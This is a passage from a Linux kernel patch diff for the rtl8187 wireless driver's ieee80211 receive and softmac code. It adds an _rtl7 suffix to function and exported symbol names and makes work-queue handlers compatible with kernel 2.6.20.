#endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1211,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1219,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1236,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1268,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1303,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1326,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1370,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1385,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1403,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1411,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1419,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_txpower/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac.c 2007-03-05 00:31:52.525345690 +0100 @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,7 +34,7 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; @@ -52,7 +52,7 @@ * Then it updates the pointer so that * it points after the new MFIE tag added. */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -69,7 +69,7 @@ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -92,7 +92,7 @@ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; @@ -110,7 +110,7 @@ //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; @@ -125,15 +125,15 @@ return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -144,13 +144,13 @@ spin_lock_irqsave(&ieee->lock, flags); /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); if(single){ if(ieee->queue_stop){ - enqueue_mgmt(ieee,skb); + enqueue_mgmt_rtl7(ieee,skb); }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -184,7 +184,7 @@ } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -219,7 +219,7 @@ } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; @@ -228,7 +228,7 @@ len = ieee->current_network.ssid_len; - rate_len = ieee80211_MFIE_rate_len(ieee); + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); @@ -251,21 +251,21 @@ memcpy(tag, ieee->current_network.ssid, len); tag += len; - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; unsigned long flags; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } @@ -279,37 +279,37 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - skb = ieee80211_probe_req(ieee); + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; @@ -349,7 +349,7 @@ ieee->set_chan(ieee->dev, ch); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. @@ -384,11 +384,17 @@ } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; + down(&ieee->scan_sem); do{ ieee->current_network.channel = @@ -402,7 +408,7 @@ goto out; ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); #if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,25 +459,25 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { // unsigned long flags; @@ -490,22 +496,22 @@ up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); @@ -513,18 +519,18 @@ } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { struct sk_buff *skb; @@ -557,7 +563,7 @@ } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -578,7 +584,7 @@ else atim_len = 0; - if(ieee80211_is_54g(ieee->current_network)) + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; @@ -664,7 +670,7 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; @@ -673,7 +679,7 @@ struct ieee80211_assoc_response_frame *assoc; short encrypt; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; skb = dev_alloc_skb(len); @@ -711,13 +717,13 @@ tag = (u8*) skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; @@ -744,7 +750,7 @@ } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; @@ -770,35 +776,35 @@ } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; @@ -807,7 +813,7 @@ unsigned int wpa_len = beacon->wpa_ie_len; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); @@ -848,8 +854,8 @@ tag = skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); tag = skb_put(skb,wpa_len); @@ -858,7 +864,7 @@ return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -887,13 +893,13 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; @@ -901,20 +907,20 @@ IEEE80211_DEBUG_MGMT("Stopping scan\n"); ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { u8 *c; struct sk_buff *skb; @@ -924,9 +930,9 @@ ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; @@ -935,16 +941,16 @@ IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; @@ -954,20 +960,26 @@ IEEE80211_DEBUG_MGMT("Sending association request\n"); ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; @@ -977,13 +989,13 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); @@ -995,24 +1007,29 @@ queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); + ieee80211_associate_step1_rtl7(ieee); up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; @@ -1079,7 +1096,7 @@ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1095,14 +1112,13 @@ } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct ieee80211_network *target; spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { /* if the state become different that NOLINK means @@ -1112,7 +1128,7 @@ break; //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } spin_unlock_irqrestore(&ieee->lock, flags); @@ -1120,7 +1136,7 @@ } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; @@ -1145,7 +1161,7 @@ } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; @@ -1163,7 +1179,7 @@ return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; @@ -1201,7 +1217,7 @@ } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; @@ -1219,7 +1235,7 @@ return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ @@ -1233,45 +1249,45 @@ } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //unsigned long flags; ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); @@ -1285,18 +1301,18 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); } -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) { int timeout = ieee->ps_timeout; u8 dtim; @@ -1343,7 +1359,7 @@ } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; @@ -1360,12 +1376,12 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee, 1); + ieee80211_sta_wakeup_rtl7(ieee, 1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; @@ -1386,7 +1402,7 @@ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee,1); + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); ieee->ps_th = th; ieee->ps_tl = tl; @@ -1400,7 +1416,7 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee,1); + ieee80211_sta_wakeup_rtl7(ieee,1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } @@ -1410,13 +1426,13 @@ } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; @@ -1429,11 +1445,11 @@ if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; @@ -1454,7 +1470,7 @@ if((ieee->sta_sleep == 0) && !success){ 